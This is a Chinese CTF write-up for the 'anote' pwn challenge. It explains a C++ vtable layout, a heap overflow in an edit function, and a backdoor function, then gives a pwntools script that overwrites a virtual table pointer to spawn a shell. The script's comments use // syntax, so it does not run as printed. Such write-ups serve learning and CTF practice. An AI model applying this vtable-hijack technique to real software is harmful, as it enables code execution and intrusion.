第二届长城杯初赛 anote
这题主要难在读代码,考察C++的虚函数表。这方面还没怎么接触过,mark一下。
大致意思是这样:在C++中,如果一个类含有虚函数,它就会有一个虚表指针vptr,指向这个类的虚函数表。每个子类的开头都会继承这个虚表指针,从而能够通过它找到父类的虚函数。这样方便继承和重载。
更多信息可以参考CTF Pwn中的 UAF 及 pwnable.kr UAF writeup。
checksec显示i386,32位,NO PIE。对32位程序调试时,可以使用x/20wx命令。
strings命令显示GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609,我们看后面的16.04.12,还是ubuntu16的范畴,选用2.23-0ubuntu11.3_i386版本即可。
//if(choice==1)
v1 = operator new(0x1Cu);
for ( i = 0; i < 7; ++i )
v1[i] = 0;
create(v1);
index = tot++;
*(&heap + index) = v1;
std::operator<<<std::char_traits<char>>(
&std::cout,
"got new one!\n",
v12,
v16,
index2,
len,
choice,
tot,
v24,
heap,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
content,
v36,
v37,
v38,
v39);
}
操作1。看上去非常乱,有一堆变量在满天乱飞,不过实际上这些东西完全不需要管。
std::operator<<<std::char_traits<char>>这里实际上就是C++的输出流cout<<...,由于反编译的解析原因,流输入输出被识别为了大量参数的传递,对分析完全没有影响,忽略即可。
这里就是用operator new申请固定0x1C大小的堆空间,存到heap[index]中,调用create函数(不重要),然后输出一句"got new one!\n"。
if ( choice == 2 )
{
std::operator<<<std::char_traits<char>>(
&std::cout,
"index: ",
v12,
v16,
index2,
len,
2,
tot,
v24,
heap,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
content,
v36,
v37,
v38,
v39);
std::istream::operator>>(&std::cin, &index2);
if ( index2 >= tot )
{
v4 = std::operator<<<std::char_traits<char>>(
&std::cout,
"the item does not exist.",
v13,
v17,
index2,
len,
choice,
tot,
v24,
heap,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
content,
v36,
v37,
v38,
v39);
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
exit(0);
}
now = *(&heap + index2);
v6 = std::operator<<<std::char_traits<char>>(
&std::cout,
"gift: ",
v13,
v17,
index2,
len,
choice,
tot,
v24,
heap,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
content,
v36,
v37,
v38,
v39);
v7 = std::ostream::operator<<(v6, now);
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
show(*(&heap + index2));
}
操作2。v6,v7等是上一句输出流的返回值,却用作下一句输出的参数,体现了输入输出流的特点。
就是查询给定index,查询heap[index]的值。show函数无法F5,忽略即可。
if ( choice == 3 )
{
std::operator<<<std::char_traits<char>>(
&std::cout,
"index: ",
v12,
v16,
index2,
len,
3,
tot,
v24,
heap,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
content,
v36,
v37,
v38,
v39);
v8 = std::istream::operator>>(&std::cin, &index2);
std::istream::get(v8);
if ( index2 >= tot )
{
v9 = std::operator<<<std::char_traits<char>>(
&std::cout,
"the item does not exist.",
v14,
v18,
index2,
len,
choice,
tot,
v24,
heap,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
content,
v36,
v37,
v38,
v39);
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
exit(0);
}
std::operator<<<std::char_traits<char>>(
&std::cout,
"len: ",
v14,
v18,
index2,
len,
choice,
tot,
v24,
heap,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
content,
v36,
v37,
v38,
v39);
v11 = std::istream::operator>>(&std::cin, &len);
std::istream::get(v11);
if ( len > 40 )
{
std::operator<<<std::char_traits<char>>(
&std::cout,
"too big!\n",
v15,
v19,
index2,
len,
choice,
tot,
v24,
heap,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
content,
v36,
v37,
v38,
v39);
exit(0);
}
std::operator<<<std::char_traits<char>>(
&std::cout,
"content: ",
v15,
v19,
index2,
len,
choice,
tot,
v24,
heap,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
content,
v36,
v37,
v38,
v39);
std::istream::getline(&std::cin, &content, 32);
edit(*(&heap + index2), &content, index2, len);
(***(&heap + index2))(*(&heap + index2));
}
void *__cdecl edit(int a1, void *src, int a3, size_t n)
{
*(a1 + 4) = a3;
return memcpy((a1 + 8), src, n);
}
操作3。可以编辑堆的内容,长度不超过40。
注意最后的(***(&heap + index2))(*(&heap + index2));。
根据虚函数以及edit函数中的代码可知,*(heap[index2]+0)表示该对象的虚表指针vptr,*(heap[index2]+4)是下标index2,*(heap[index2]+8)是content。
(原来的content其实存储在另一个chunk里,只是把它复制到了heap[index2]+8这个位置)
于是(***(&heap + index2))()表示的就是,从虚函数表中取出第一个函数执行,后面跟的*(&heap + index2)表示该函数的参数。
int sub_80489CE()
{
return system("/bin/sh");
}
有个后门函数。NO PIE嘛,很正常。
创建的时候只有0x1C空间,但编辑长度可以到40,显然可以做溢出。不难发现相邻下标的heap地址固定相差0x20,溢出长度也很容易计算。
pwndbg可以看到这个虚表指针固定位于0x8048f48,我们没法直接修改其指向的虚函数地址。
那么考虑伪造一个假的虚表指针,指向后门函数。只需要让堆x的内容是0x80489CE,通过操作2计算出堆x的content地址;然后通过堆溢出修改堆y开头的虚表指针,使其变为上述地址。
这样,再次进行操作3时,假虚表指针指向的虚函数表第一个函数是sub_80489CE,get shell。
from pwn import *
context.log_level="debug"
io=process("./note")
elf=ELF("./note")
def create():
io.sendlineafter("Choice>>",str(1))
def show(index):
io.sendlineafter("Choice>>",str(2))
io.sendlineafter("index: ",str(index))
io.recvuntil("gift: ")
return int(io.recvline().strip(),0)//十六进制字符串转十进制
def edit(index,content):
io.sendlineafter("Choice>>",str(3))
io.sendlineafter("index: ",str(index))
io.sendlineafter("len: ",str(len(content)))
io.sendlineafter("content: ",content)
create()//堆0,用于做溢出
create()//堆1,被溢出修改开头的虚表指针
create()//堆2,存放后门地址
shell_addr=0x80489CE
addr2=show(2)+0x8//构造伪虚表指针,注意偏移8字节才是content
edit(2,p32(shell_addr))
edit(0,p32(0)*6+p32(addr2))//溢出,注意32位
edit(1,"NiYiJiKu")//随便edit一下
io.interactive()

浙公网安备 33010602011771号